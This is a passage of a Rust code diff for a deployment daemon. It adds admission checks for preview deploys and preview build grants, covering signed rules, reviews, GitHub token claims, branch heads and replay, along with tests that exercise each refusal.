+    #[error("this server could not read the preview branch's head from GitHub")]
+    Head(#[source] crate::github::head::HeadError),
+}
+
+impl PreviewRefusal {
+    /// What a person runs next, when approving the rule again is what fixes it.
+    pub(crate) fn next(&self) -> Option<&'static str> {
+        match self {
+            Self::Rule(
+                AuthorityRefusal::Mismatch {
+                    field: "a payload" | "a Service" | "a Machine" | "a Cluster",
+                }
+                | AuthorityRefusal::UnknownKey { .. }
+                | AuthorityRefusal::UnknownPasskey,
+            ) => Some("ployz github preview approve from an approved device"),
+            Self::Rule(_) | Self::Proof(_) | Self::Head(_) => None,
+        }
+    }
+}
+
+/// Which preview a request is for and on what authority, once its rule, review and token
+/// pass.
+struct Admitted {
+    rule: PreviewRule,
+    review: Option<CheckedReview>,
+    key: PreviewKey,
+    head: Option<CommitSha>,
+}
+
+impl LocalMachine {
+    /// Admit an Operator's Container change in a preview Namespace on `proof`, at `now`.
+    /// A creation records the accepted build, and a hook takes its place once per push in
+    /// each preview. A step on an existing Container consumes nothing. Returns the want,
+    /// pinned to the Container seen for a step.
+    ///
+    /// # Errors
+    /// Returns [`Error::PreviewDeployRefused`] naming what does not hold,
+    /// [`Error::ApprovalRecord`] when the record cannot be read or written, and
+    /// [`Error::DockerUnavailable`] or [`Error::Docker`] when a Container cannot be read.
+    pub(crate) async fn admit_preview_deploy(
+        &self,
+        want: ContainerWant,
+        proof: &PreviewProof,
+        github: &impl Github,
+        now: Timestamp,
+    ) -> Result<ContainerWant, Error> {
+        let started = Instant::now();
+        let record = self.record();
+        let (cluster, attest) = match (
+            self.held_sealing(record.phase()),
+            self.held_attest(record.phase()),
+        ) {
+            (Some(Sealing::Held { public_key }), Some(attest)) => (public_key, attest),
+            _ => return Err(refused(AuthorityRefusal::NoClusterIdentity)),
+        };
+        record.machine().ok_or(Error::NotParticipating)?;
+        let machine = record.id();
+        let claim = &proof.claim;
+        let Some((step, locator)) = RestartStep::of(&want) else {
+            let ContainerWant::Running {
+                container: RunTarget::New(new),
+                ..
+            } = &want
+            else {
+                unreachable!("only a new creation has no lifecycle step");
+            };
+            let Admitted {
+                rule,
+                review,
+                key,
+                head,
+            } = self
+                .admit_preview(proof, &new.slot.namespace, github, now)
+                .await?;
+            let facts = PreviewFacts {
+                cluster,
+                attest,
+                machine: &machine,
+                namespace: &new.slot.namespace,
+                service: &new.slot.service,
+                key: &key,
+                head,
+            };
+            let created = rule
+                .verify_creation(
+                    claim,
+                    &facts,
+                    Creation {
+                        service: &new.slot.service,
+                        kind: new.slot.kind,
+                        spec: &new.resolved_spec,
+                    },
+                    review.as_ref(),
+                )
+                .map_err(|refusal| logged(&rule, &new.slot.service, refusal))?;
+            if created.runs_setup
+                && !self
+                    .first_in(&new.slot.namespace, &new.slot.service)
+                    .await?
+            {
+                return Err(logged(
+                    &rule,
+                    &new.slot.service,
+                    AuthorityRefusal::Mismatch {
+                        field: "a Setup Command",
+                    },
+                ));
+            }
+            // Checked again: a newer generation may have landed while GitHub answered.
+            self.approvals.accept(
+                &rule,
+                Some((&new.slot.namespace, &key)),
+                claim,
+                superseded(&rule),
+            )?;
+            if new.slot.kind == ContainerKind::PreDeployHook {
+                self.approvals.consume_rule_hook(
+                    (rule.rule, Some(&new.slot.namespace)),
+                    claim,
+                    &new.slot.creation_key,
+                    refused,
+                )?;
+            }
+            tracing::info!(
+                kind = %new.slot.kind,
+                preview = %key,
+                setup = created.runs_setup,
+                admission_us = started.elapsed().as_micros(),
+                "deploy of {} admitted under preview rule {} gen {} commit {}",
+                new.slot.service,
+                rule.rule,
+                rule.generation,
+                short(claim),
+            );
+            return Ok(want);
+        };
+        let ContainerNow::Present(observed) = self.container_now(locator).await? else {
+            return Err(refused(AuthorityRefusal::Mismatch {
+                field: "a Container",
+            }));
+        };
+        let Admitted {
+            rule,
+            review,
+            key,
+            head,
+        } = self
+            .admit_preview(proof, &observed.identity().namespace, github, now)
+            .await?;
+        let identity = observed.identity();
+        let starts = step == RestartStep::Start;
+        if starts && observed.kind == ContainerKind::PreDeployHook {
+            return Err(refused(AuthorityRefusal::Mismatch {
+                field: "a hook run",
+            }));
+        }
+        // Starting a copy runs its spec, so it must be what the rule or review approves.
+        // Any other step may act on any copy in the preview's Namespace.
+        let service = if starts {
+            &identity.name
+        } else {
+            &claim.service
+        };
+        let facts = PreviewFacts {
+            cluster,
+            attest,
+            machine: &machine,
+            namespace: &identity.namespace,
+            service,
+            key: &key,
+            head,
+        };
+        let checked = if starts {
+            rule.verify_creation(
+                claim,
+                &facts,
+                Creation {
+                    service,
+                    kind: observed.kind,
+                    spec: &observed.resolved_spec,
+                },
+                review.as_ref(),
+            )
+            .map(drop)
+        } else {
+            rule.verify_step(claim, &facts, review.as_ref())
+        };
+        checked.map_err(|refusal| logged(&rule, &identity.name, refusal))?;
+        tracing::info!(
+            ?step,
+            preview = %key,
+            container = observed.container_id.as_str().get(..12).unwrap_or_default(),
+            "step on {identity} admitted under preview rule {} gen {} commit {}",
+            rule.rule,
+            rule.generation,
+            short(claim),
+        );
+        Ok(pinned(want, observed.container_id))
+    }
+
+    /// The rule, review and preview `proof` names for a request in `namespace`, once the
+    /// rule's signature, its mark, the review and the token's claims pass, with the
+    /// preview branch's head read now for a trusted push. A build this Machine already
+    /// admitted for `namespace` stands in for an expired token.
+    async fn admit_preview(
+        &self,
+        proof: &PreviewProof,
+        namespace: &Namespace,
+        github: &impl Github,
+        now: Timestamp,
+    ) -> Result<Admitted, Error> {
+        let trusted = self.record().trusted_keys();
+        let (rule, _) = verify_signature(&proof.rule, &trusted, now).map_err(refused)?;
+        // An ended generation still supersedes every one below it.
+        self.approvals.mark_rule(&rule, superseded(&rule))?;
+        let review = proof
+            .review
+            .as_ref()
+            .map(|review| verify_review(review, &rule, &trusted, now))
+            .transpose()
+            .map_err(|refusal| {
+                tracing::warn!(rule = %rule.rule, %refusal, "refused a preview review");
+                refused(refusal)
+            })?;
+        let claim = &proof.claim;
+        let key = match self
+            .approvals
+            .accepted_preview(rule.rule, namespace, claim)?
+        {
+            Some(key) => key,
+            None => {
+                let claims = github
+                    .claims(&rule, proof.token.as_str(), now)
+                    .await
+                    .map_err(|refusal| {
+                        tracing::warn!(rule = %rule.rule, %refusal, "refused a preview deploy");
+                        Error::PreviewDeployRefused(PreviewRefusal::Proof(refusal))
+                    })?;
+                if claim.audience().ok().as_deref() != Some(claims.aud.as_str()) {
+                    return Err(refused(AuthorityRefusal::Mismatch {
+                        field: "an audience",
+                    }));
+                }
+                rule.preview_key(&claims, claim.commit, claim.authority, review.as_ref())
+                    .map_err(|refusal| logged(&rule, &claim.service, refusal))?
+            }
+        };
+        let head = match (claim.authority, &key) {
+            (CommitAuthority::Head, PreviewKey::Branch(branch)) => Some(
+                github
+                    .head(rule.source.repository_id, branch, proof.reader.as_ref())
+                    .await
+                    .map_err(|error| Error::PreviewDeployRefused(PreviewRefusal::Head(error)))?,
+            ),
+            (CommitAuthority::Head | CommitAuthority::Review(_), _) => None,
+        };
+        Ok(Admitted {
+            rule,
+            review,
+            key,
+            head,
+        })
+    }
+
+    /// Whether `service` has no Service Container in `namespace` on this Machine, so its
+    /// Hook Container may still run the Setup Commands: none deployed here yet.
+    async fn first_in(&self, namespace: &Namespace, service: &ServiceName) -> Result<bool, Error> {
+        let containers = self.containers.as_ref().ok_or(Error::DockerUnavailable)?;
+        let copies = containers
+            .service_copies(&QualifiedService::new(namespace.clone(), service.clone()))
+            .await?;
+        Ok(copies.is_empty())
+    }
+
+    /// Under enforcement, admit `want` on the preview proof Cloud attached, reading GitHub
+    /// through the daemon's one client.
+    ///
+    /// # Errors
+    /// As [`Self::admit_preview_deploy`]; without a usable GitHub client, every preview
+    /// deploy is refused.
+    pub(crate) async fn admit_preview_deploy_online(
+        &self,
+        want: ContainerWant,
+        proof: &PreviewProof,
+    ) -> Result<ContainerWant, Error> {
+        let github = super::rule_grant::GithubOnline::shared().ok_or(refused(
+            AuthorityRefusal::Mismatch {
+                field: "a GitHub client",
+            },
+        ))?;
+        self.admit_preview_deploy(want, proof, github, Timestamp::now())
+            .await
+    }
+}
+
+fn refused(refusal: AuthorityRefusal) -> Error {
+    Error::PreviewDeployRefused(PreviewRefusal::Rule(refusal))
+}
+
+fn superseded(rule: &PreviewRule) -> impl FnOnce(AuthorityRefusal) -> Error + '_ {
+    move |refusal| {
+        tracing::warn!(
+            rule = %rule.rule,
+            generation = rule.generation,
+            "refused a preview deploy: {refusal}"
+        );
+        refused(refusal)
+    }
+}
+
+fn logged(rule: &PreviewRule, service: &ServiceName, refusal: AuthorityRefusal) -> Error {
+    tracing::warn!(
+        rule = %rule.rule,
+        generation = rule.generation,
+        "preview deploy of {service} refused under the rule: {refusal}"
+    );
+    refused(refusal)
+}
+
+/// The first 12 hex digits of the claim's commit.
+fn short(claim: &BuildClaim) -> String {
+    let mut commit = claim.commit.to_string();
+    commit.truncate(12);
+    commit
+}
+
+/// What a refused preview says to the person who reads the Deployment or the build.
+pub(crate) fn refusal_text(refusal: &AuthorityRefusal) -> String {
+    let text = match refusal {
+        AuthorityRefusal::Mismatch { field: "a payload" } => {
+            "This preview's settings differ from what the preview rule approves. Approve the rule again."
+        }
+        AuthorityRefusal::Mismatch { field: "an image" } => {
+            "This server runs only the image GitHub built for this commit under the preview rule."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "an audience",
+        } => "This build was made under another approval of the preview rule. Push again.",
+        AuthorityRefusal::Mismatch { field: "a commit" } => {
+            "This commit is no longer the head of its branch, or isn't the one that was reviewed."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "a generation",
+        } => "A newer approval of the preview rule replaced this one.",
+        AuthorityRefusal::Mismatch {
+            field: "the attest key",
+        } => "This image wasn't built with this cluster's build secrets.",
+        AuthorityRefusal::Mismatch {
+            field: "an ended rule",
+        } => "Previews for this environment are off.",
+        AuthorityRefusal::Mismatch { field: "a Service" } => {
+            "The preview rule doesn't cover this service."
+        }
+        AuthorityRefusal::Mismatch { field: "a Machine" } => {
+            "The preview rule was approved before this server joined. Approve it again."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "a Namespace",
+        } => "This isn't the environment the preview rule makes for this branch.",
+        AuthorityRefusal::Mismatch { field: "a Cluster" } => {
+            "The preview rule is for another cluster."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "a hook run",
+        } => "This push already ran its pre-deploy command in this preview.",
+        AuthorityRefusal::Replayed { .. } => {
+            "This push already ran its pre-deploy command in this preview."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "a Setup Command",
+        } => "This preview already exists here, so its setup command doesn't run again.",
+        AuthorityRefusal::Mismatch {
+            field: "a Generated Value",
+        } => "A generated value doesn't match what the preview rule generates.",
+        AuthorityRefusal::Mismatch {
+            field: ployz_core::authority::preview::SEALED_VALUE,
+        } => "This preview uses a secret the preview rule doesn't share with it.",
+        AuthorityRefusal::Mismatch {
+            field: "an account",
+        } => {
+            "The preview rule doesn't trust the account that pushed this branch. Ask for a review."
+        }
+        AuthorityRefusal::Mismatch { field: "a branch" } => {
+            "Pushes to the parent environment's branch deploy there, not to a preview."
+        }
+        AuthorityRefusal::Mismatch { field: "a review" } => {
+            "This build was made under another review. Review the preview again."
+        }
+        AuthorityRefusal::Mismatch {
+            field: "the signer",
+        } => {
+            "A preview that uses secrets needs a review approved with a passkey or from an approved device."
+        }
+        AuthorityRefusal::Expired => "The preview's approval expired. Approve it again.",
+        AuthorityRefusal::UnknownKey { .. } | AuthorityRefusal::UnknownPasskey => {
+            "This server doesn't trust the device that approved the preview rule or review."
+        }
+        AuthorityRefusal::Malformed { .. }
+        | AuthorityRefusal::BadSignature { .. }
+        | AuthorityRefusal::ApproveOnly { .. }
+        | AuthorityRefusal::Mismatch { .. }
+        | AuthorityRefusal::Unsigned { .. }
+        | AuthorityRefusal::NoClusterIdentity
+        | AuthorityRefusal::ProofReplayed => {
+            return format!("This server refused the preview: {refusal}.");
+        }
+    };
+    text.to_owned()
+}
+
+#[cfg(test)]
+#[path = "preview_deploy_tests.rs"]
+mod tests;
diff --git a/core/crates/ployzd/src/machine/local_machine/preview_deploy_tests.rs b/core/crates/ployzd/src/machine/local_machine/preview_deploy_tests.rs
new file mode 100644
index 0000000000..66776151ff
--- /dev/null
+++ b/core/crates/ployzd/src/machine/local_machine/preview_deploy_tests.rs
@@ -0,0 +1,315 @@
+#![expect(clippy::indexing_slicing, reason = "JSON fixtures")]
+
+use ployz_core::{
+    Namespace,
+    authority::{AttestKey, ImageDigest, PreviewRule, Signed, preview::preview_namespace},
+};
+use serde_json::{Value, json};
+
+use super::super::{
+    preview_grant::tests::{ACTOR, claim, inherited, preview_rule, review, token},
+    rule_grant::tests::{Fixture, commit, fixture, github, now},
+};
+use super::*;
+
+const IMAGE: &str = "4444444444444444444444444444444444444444444444444444444444444444";
+
+fn spec() -> Value {
+    json!({
+        "name": "web",
+        "mode": {"mode": "replicated", "replicas": 1},
+        "container": {
+            "image": format!("ployz-build/web@sha256:{IMAGE}"),
+            "pull_policy": "missing",
+            "environment": {"PLAIN": "one"}
+        },
+        "pre_deploy": {"command": ["migrate"]}
+    })
+}
+
+fn requested(spec: &Value) -> ployz_core::RequestedServiceSpec {
+    serde_json::from_value(spec.clone()).unwrap()
+}
+
+fn want(namespace: &Namespace, kind: &str, key: &str, spec: &Value) -> ContainerWant {
+    let resolved = requested(spec)
+        .to_resolved(
+            ployz_core::ServiceId::parse("c".repeat(32)).unwrap(),
+            ployz_core::ResolvedUpdateConfig::default(),
+        )
+        .unwrap();
+    serde_json::from_value(
+        json!({"state":"running", "rotation":"pending", "container":{"new":{
+        "slot":{"namespace":namespace, "service":"web", "kind":kind, "creation_key":key},
+        "resolved_spec":resolved, "gen":1}}}),
+    )
+    .unwrap()
+}
+
+/// The `feature` branch's preview Namespace under `rule`.
+fn feature(rule: &PreviewRule) -> Namespace {
+    preview_namespace(rule.rule, &PreviewKey::Branch("feature".to_owned()))
+}
+
+struct Deploy {
+    fixture: Fixture,
+    rule: PreviewRule,
+}
+
+impl Deploy {
+    /// A preview rule approving [`spec`] in each preview, with no build secrets.
+    async fn new() -> Self {
+        let fixture = fixture().await;
+        let record = inherited(&fixture);
+        let mut rule = preview_rule(&fixture, &record);
+        let namespace = feature(&rule);
+        let service = &mut rule.services[0];
+        service.secrets = None;
+        service.inherit.clear();
+        service.template =
+            ployz_core::authority::preview::template(&requested(&spec()), &namespace, service)
+                .unwrap();
+        Self { fixture, rule }
+    }
+
+    fn attest(&self) -> AttestKey {
+        self.fixture
+            .machine
+            .held_attest(self.fixture.machine.record().phase())
+            .unwrap()
+    }
+
+    fn built(&self, authority: CommitAuthority) -> BuildClaim {
+        BuildClaim {
+            stage: ployz_core::authority::BuildStage::Built {
+                image: ImageDigest::parse(&format!("sha256:{IMAGE}")).unwrap(),
+                attest: self.attest(),
+            },
+            ..claim(&self.rule, authority)
+        }
+    }
+
+    /// A trusted push of `feature`, its image token spent as `jti`.
+    fn pushed(&self, jti: &str) -> PreviewProof {
+        let claim = self.built(CommitAuthority::Head);
+        PreviewProof {
+            rule: Signed::sign(&self.rule, &self.fixture.signer).unwrap(),
+            review: None,
+            token: token(&claim, jti, "push", "feature", ACTOR),
+            claim,
+            reader: None,
+        }
+    }
+
+    async fn deploy(
+        &self,
+        want: ContainerWant,
+        proof: &PreviewProof,
+        head: CommitSha,
+        at: Timestamp,
+    ) -> Result<ContainerWant, Error> {
+        self.fixture
+            .machine
+            .admit_preview_deploy(want, proof, &github(head), at)
+            .await
+    }
+}
+
+fn refused(result: Result<ContainerWant, Error>) -> String {
+    match result {
+        Err(Error::PreviewDeployRefused(PreviewRefusal::Rule(AuthorityRefusal::Mismatch {
+            field,
+        }))) => field.to_owned(),
+        Err(Error::PreviewDeployRefused(PreviewRefusal::Proof(refusal))) => {
+            format!("proof: {refusal}")
+        }
+        other => panic!("not a preview refusal: {other:?}"),
+    }
+}
+
+fn after_expiry() -> Timestamp {
+    Timestamp::from_millis(now().as_millis() + 3_600_000).unwrap()
+}
+
+#[tokio::test]
+async fn a_trusted_push_creates_its_preview_in_the_namespace_the_machine_derives() {
+    let deploy = Deploy::new().await;
+    let proof = deploy.pushed("push");
+    let namespace = feature(&deploy.rule);
+    deploy
+        .deploy(
+            want(&namespace, "service_container", "k1", &spec()),
+            &proof,
+            commit(),
+            now(),
+        )
+        .await
+        .unwrap();
+}
+
+#[tokio::test]
+async fn a_trusted_push_into_any_other_namespace_is_refused() {
+    let deploy = Deploy::new().await;
+    let proof = deploy.pushed("elsewhere");
+    let other = preview_namespace(deploy.rule.rule, &PreviewKey::Branch("other".to_owned()));
+    assert_eq!(
+        refused(
+            deploy
+                .deploy(
+                    want(&other, "service_container", "k1", &spec()),
+                    &proof,
+                    commit(),
+                    now(),
+                )
+                .await
+        ),
+        "a Namespace"
+    );
+}
+
+#[tokio::test]
+async fn settings_the_rule_does_not_approve_are_refused() {
+    let deploy = Deploy::new().await;
+    let proof = deploy.pushed("settings");
+    let mut changed = spec();
+    changed["container"]["environment"]["PLAIN"] = json!("two");
+    assert_eq!(
+        refused(
+            deploy
+                .deploy(
+                    want(&feature(&deploy.rule), "service_container", "k1", &changed),
+                    &proof,
+                    commit(),
+                    now(),
+                )
+                .await
+        ),
+        "a payload"
+    );
+}
+
+#[tokio::test]
+async fn an_accepted_preview_build_creates_again_after_its_token_expires_until_the_head_moves() {
+    let deploy = Deploy::new().await;
+    let proof = deploy.pushed("accepted");
+    let namespace = feature(&deploy.rule);
+    let fresh = deploy
+        .deploy(
+            want(&namespace, "service_container", "k1", &spec()),
+            &proof,
+            commit(),
+            after_expiry(),
+        )
+        .await;
+    assert!(
+        refused(fresh).starts_with("proof:"),
+        "an expired token alone admits nothing"
+    );
+    for key in ["k1", "k2"] {
+        let at = if key == "k1" { now() } else { after_expiry() };
+        deploy
+            .deploy(
+                want(&namespace, "service_container", key, &spec()),
+                &proof,
+                commit(),
+                at,
+            )
+            .await
+            .unwrap();
+    }
+    let moved = CommitSha::parse(&"9".repeat(40)).unwrap();
+    assert_eq!(
+        refused(
+            deploy
+                .deploy(
+                    want(&namespace, "service_container", "k3", &spec()),
+                    &proof,
+                    moved,
+                    after_expiry(),
+                )
+                .await
+        ),
+        "a commit"
+    );
+}
+
+#[tokio::test]
+async fn a_push_runs_its_hook_once_in_each_preview() {
+    let deploy = Deploy::new().await;
+    let proof = deploy.pushed("hook");
+    let namespace = feature(&deploy.rule);
+    deploy
+        .deploy(
+            want(&namespace, "pre_deploy_hook", "h1", &spec()),
+            &proof,
+            commit(),
+            now(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        refused(
+            deploy
+                .deploy(
+                    want(&namespace, "pre_deploy_hook", "h2", &spec()),
+                    &proof,
+                    commit(),
+                    now(),
+                )
+                .await
+        ),
+        "a hook run"
+    );
+}
+
+#[tokio::test]
+async fn a_reviewed_build_creates_only_with_the_settings_the_review_signed() {
+    let deploy = Deploy::new().await;
+    let namespace = preview_namespace(deploy.rule.rule, &PreviewKey::Fork(12));
+    let mut body = review(&deploy.fixture, &deploy.rule, commit());
+    let ployz_core::authority::Review::Signed(signed) = &body else {
+        unreachable!("the fixture review is Device-signed");
+    };
+    let mut reviewed: ployz_core::authority::PreviewReview =
+        ployz_core::authority::canonical::from_canonical(&signed.body).unwrap();
+    let mut service = deploy.rule.services[0].clone();
+    service.generated.clear();
+    reviewed.services[0].digest =
+        ployz_core::authority::preview::template(&requested(&spec()), &namespace, &service)
+            .unwrap();
+    body = ployz_core::authority::Review::Signed(
+        Signed::sign(&reviewed, &deploy.fixture.signer).unwrap(),
+    );
+    let claim = deploy.built(CommitAuthority::Review(body.digest()));
+    let proof = PreviewProof {
+        rule: Signed::sign(&deploy.rule, &deploy.fixture.signer).unwrap(),
+        review: Some(body),
+        token: token(&claim, "reviewed", "workflow_dispatch", "main", ACTOR),
+        claim,
+        reader: None,
+    };
+    deploy
+        .deploy(
+            want(&namespace, "service_container", "k1", &spec()),
+            &proof,
+            commit(),
+            now(),
+        )
+        .await
+        .unwrap();
+    let mut changed = spec();
+    changed["container"]["environment"]["PLAIN"] = json!("two");
+    assert_eq!(
+        refused(
+            deploy
+                .deploy(
+                    want(&namespace, "service_container", "k2", &changed),
+                    &proof,
+                    commit(),
+                    now(),
+                )
+                .await
+        ),
+        "a payload"
+    );
+}
diff --git a/core/crates/ployzd/src/machine/local_machine/preview_grant.rs b/core/crates/ployzd/src/machine/local_machine/preview_grant.rs
new file mode 100644
index 0000000000..8de31eaaca
--- /dev/null
+++ b/core/crates/ployzd/src/machine/local_machine/preview_grant.rs
@@ -0,0 +1,153 @@
+//! A Build Grant under a preview rule: every check a grant Machine runs on its own facts
+//! before it opens a preview build's Sealed record.
+//!
+//! The rule's signature, this Machine's place in it, the review for a reviewed build, the
+//! GitHub token and its claims, the audience recomputed from what this Machine holds, the
+//! preview the token's branch or the review names, the commit's authority, and the Sealed
+//! record all pass first. Then the token is spent. A trusted push is one by an account the
+//! rule trusts, to a branch other than the parent's, of that branch's head. A reviewed
+//! build is a dispatch on the parent's branch of exactly the commit the review names.
+
+use ployz_core::{
+    BuildGrantId, PreviewGrant, SealedRecord,
+    authority::{
+        AuthorityRefusal, BuildClaim, BuildStage, CommitAuthority, PolicyDigest, PreviewKey,
+        Timestamp, preview::verify_review, rule::verify_signature,
+    },
+};
+
+use super::{
+    Error, LocalMachine,
+    preview_deploy::PreviewRefusal,
+    rule_grant::{AdmittedRule, Github},
+};
+
+fn refused(refusal: AuthorityRefusal) -> Error {
+    Error::PreviewGrantRefused(PreviewRefusal::Rule(refusal))
+}
+
+impl LocalMachine {
+    /// Admit a grant for `holder` under `grant`'s preview rule, with `sealed` the record
+    /// Cloud relays, at `now`. Every check runs before anything opens, and the token is
+    /// spent last.
+    ///
+    /// # Errors
+    /// Returns [`Error::PreviewGrantRefused`] naming what does not match, a token GitHub
+    /// did not sign or that names another repository, event, workflow, builder or runner,
+    /// or a branch head GitHub did not answer for, and [`Error::ApprovalRecord`] when the
+    /// spent token cannot be recorded.
+    pub(crate) async fn admit_preview_grant(
+        &self,
+        grant: &PreviewGrant,
+        holder: Option<&BuildGrantId>,
+        sealed: Option<&SealedRecord>,
+        github: &impl Github,
+        now: Timestamp,
+    ) -> Result<AdmittedRule, Error> {
+        let record = self.record();
+        let trusted = record.trusted_keys();
+        let (rule, _) = verify_signature(&grant.rule, &trusted, now).map_err(refused)?;
+        let held = |field| {
+            tracing::warn!(rule = %rule.rule, field, "refused a preview build's grant");
+            refused(AuthorityRefusal::Mismatch { field })
+        };
+        let cluster =
+            self.held_sealing(record.phase())
+                .and_then(|sealing| match sealing {
+                    ployz_core::Sealing::Held { public_key } => Some(public_key),
+                    ployz_core::Sealing::NeedsAccess
+                    | ployz_core::Sealing::AwaitsRecovery { .. } => None,
+                })
+                .ok_or_else(|| refused(AuthorityRefusal::NoClusterIdentity))?;
+        if rule.cluster != cluster {
+            return Err(held("a Cluster"));
+        }
+        record.machine().ok_or(Error::NotParticipating)?;
+        if !rule.machines.contains(&record.id()) {
+            return Err(held("a Machine"));
+        }
+        self.approvals.mark_rule(&rule, refused)?;
+        if rule.ended {
+            return Err(held("an ended rule"));
+        }
+        let service = rule
+            .service(&grant.service)
+            .ok_or_else(|| held("a Service"))?;
+        let holder = holder.ok_or_else(|| held("a holder"))?;
+        let review = grant
+            .review
+            .as_ref()
+            .map(|review| verify_review(review, &rule, &trusted, now))
+            .transpose()
+            .map_err(|refusal| {
+                tracing::warn!(rule = %rule.rule, %refusal, "refused a preview review");
+                refused(refusal)
+            })?;
+        let claims = github
+            .claims(&rule, grant.proof.as_str(), now)
+            .await
+            .map_err(|refusal| Error::PreviewGrantRefused(PreviewRefusal::Proof(refusal)))?;
+        let expected = BuildClaim {
+            cluster,
+            rule: rule.rule,
+            generation: rule.generation,
+            service: grant.service.clone(),
+            policy: PolicyDigest::of(&service.policy).map_err(|_| held("a policy"))?,
+            commit: grant.commit,
+            authority: grant.authority,
+            stage: BuildStage::Grant {
+                holder: *holder,
+                recipient: grant.recipient,
+            },
+        };
+        let audience = expected.audience().map_err(|_| held("an audience"))?;
+        if claims.aud != audience {
+            return Err(held("an audience"));
+        }
+        let key = rule
+            .preview_key(&claims, grant.commit, grant.authority, review.as_ref())
+            .map_err(|refusal| {
+                tracing::warn!(rule = %rule.rule, %refusal, "refused a preview build's grant");
+                refused(refusal)
+            })?;
+        if let (CommitAuthority::Head, PreviewKey::Branch(branch)) = (grant.authority, &key) {
+            let head = github
+                .head(rule.source.repository_id, branch, grant.reader.as_ref())
+                .await
+                .map_err(|error| Error::PreviewGrantRefused(PreviewRefusal::Head(error)))?;
+            if head != grant.commit {
+                return Err(held("a commit"));
+            }
+        }
+        let digest = sealed
+            .map(|record| rule.build_secrets(service, record))
+            .transpose()
+            .map_err(refused)?;
+        if digest != service.secrets {
+            return Err(held("the Sealed values"));
+        }
+        self.approvals
+            .consume_rule_proof(&rule, refused, &claims.jti, claims.exp, now)?;
+        tracing::info!(
+            rule = %rule.rule,
+            generation = rule.generation,
+            service = %grant.service,
+            commit = %grant.commit,
+            preview = %key,
+            reviewed_by = review.as_ref().map(|review| review.signer.to_string()),
+            "admitted a preview build's grant"
+        );
+        Ok(AdmittedRule {
+            recipient: grant.recipient,
+            audience,
+            rule: rule.rule,
+            generation: rule.generation,
+            service: grant.service.clone(),
+            commit: grant.commit,
+        })
+    }
+}
+
+#[cfg(test)]
+#[path = "preview_grant_tests.rs"]
+pub(crate) mod tests;
diff --git a/core/crates/ployzd/src/machine/local_machine/preview_grant_tests.rs b/core/crates/ployzd/src/machine/local_machine/preview_grant_tests.rs
new file mode 100644
index 0000000000..ccea7c1d0f
--- /dev/null
+++ b/core/crates/ployzd/src/machine/local_machine/preview_grant_tests.rs
@@ -0,0 +1,335 @@
+#![expect(clippy::indexing_slicing, reason = "JSON fixtures")]
+
+use std::collections::BTreeMap;
+
+use ployz_core::{
+    BuildGrantRepository, EnvValue, GithubToken, MintBuildGrantRequest, Namespace, SealedScope,
+    authority::{
+        CommitSha, PayloadDigest, PreviewRule, PreviewService, Review, ReviewedService, RuleId,
+        Signed, SignerKey, preview::PreviewReview,
+    },
+};
+use serde_json::json;
+use uuid::Uuid;
+
+use super::*;
+use crate::{
+    github::test_support::{TEST_KID, signed_by_test_signer},
+    machine::local_machine::rule_grant::tests::{
+        BUILDER_SHA, COMMIT, Fixture, claims, commit, fixture, github, holder, now, policy,
+        recipient, rule_for, web,
+    },
+    management::build_grant::Mint,
+};
+
+/// The parent Environment's Cloud ID, which its inherited values are sealed for.
+pub(crate) const PARENT: Uuid = Uuid::from_u128(9);
+/// The GitHub account the fixture's tokens name as their actor.
+pub(crate) const ACTOR: u64 = 1_109_914;
+
+/// A build record whose one value is the parent's `NPM_TOKEN`, sealed for [`PARENT`].
+pub(crate) fn inherited(fixture: &Fixture) -> SealedRecord {
+    let env = BTreeMap::from([(
+        "NPM_TOKEN".to_owned(),
+        EnvValue::Sealed(
+            fixture
+                .sealing
+                .seal_inherited("NPM_TOKEN", PARENT, "parent-token"),
+        ),
+    )]);
+    fixture.sealing.open(env).unwrap().record.unwrap()
+}
+
+/// A preview rule over the fixture's Cluster and Machine, its one Service inheriting
+/// `NPM_TOKEN` for the build `record`.
+pub(crate) fn preview_rule(fixture: &Fixture, record: &SealedRecord) -> PreviewRule {
+    let base = rule_for(
+        fixture.cluster,
+        fixture.machine.record().id(),
+        &fixture.signer,
+        &fixture.record,
+    );
+    PreviewRule {
+        cluster: fixture.cluster,
+        rule: RuleId::from_bytes([0x22; 16]),
+        generation: 2,
+        machines: base.machines,
+        parent: Namespace::parse("app").unwrap(),
+        parent_id: PARENT,
+        domain: "preview.example.com".to_owned(),
+        source: base.source,
+        trusted: vec![ACTOR],
+        services: vec![PreviewService {
+            name: web(),
+            template: PayloadDigest::parse(&"ab".repeat(32)).unwrap(),
+            setup: None,
+            policy: policy(),
+            secrets: Some(ployz_core::authority::preview::secrets_digest(record).unwrap()),
+            inherit: ["NPM_TOKEN".to_owned()].into(),
+            generated: BTreeMap::new(),
+        }],
+        issued_at: Timestamp::from_millis(now().as_millis() - 60_000).unwrap(),
+        ended: false,
+        signer: SignerKey::Device(fixture.signer.public().into()),
+    }
+}
+
+pub(crate) fn claim(rule: &PreviewRule, authority: CommitAuthority) -> BuildClaim {
+    BuildClaim {
+        cluster: rule.cluster,
+        rule: rule.rule,
+        generation: rule.generation,
+        service: web(),
+        policy: PolicyDigest::of(&policy()).unwrap(),
+        commit: commit(),
+        authority,
+        stage: BuildStage::Grant {
+            holder: holder(),
+            recipient: recipient(),
+        },
+    }
+}
+
+/// A token for `claim`'s audience, run by `event` on `branch` by `actor`, spent as `jti`.
+pub(crate) fn token(
+    claim: &BuildClaim,
+    jti: &str,
+    event: &str,
+    branch: &str,
+    actor: u64,
+) -> GithubToken {
+    let mut claims = claims();
+    claims["aud"] = json!(claim.audience().unwrap());
+    claims["jti"] = json!(jti);
+    claims["event_name"] = json!(event);
+    claims["ref"] = json!(format!("refs/heads/{branch}"));
+    claims["workflow_ref"] = json!(format!(
+        "Ployz-test/lab-service/.github/workflows/ployz-build.yml@refs/heads/{branch}"
+    ));
+    claims["job_workflow_ref"] = json!(format!(
+        "Ployz-test/build/.github/workflows/build.yml@{BUILDER_SHA}"
+    ));
+    claims["job_workflow_sha"] = json!(BUILDER_SHA);
+    claims["actor_id"] = json!(actor.to_string());
+    claims["sha"] = json!(COMMIT);
+    GithubToken::new(signed_by_test_signer(TEST_KID, &claims))
+}
+
+fn grant(fixture: &Fixture, rule: &PreviewRule, proof: GithubToken) -> PreviewGrant {
+    PreviewGrant {
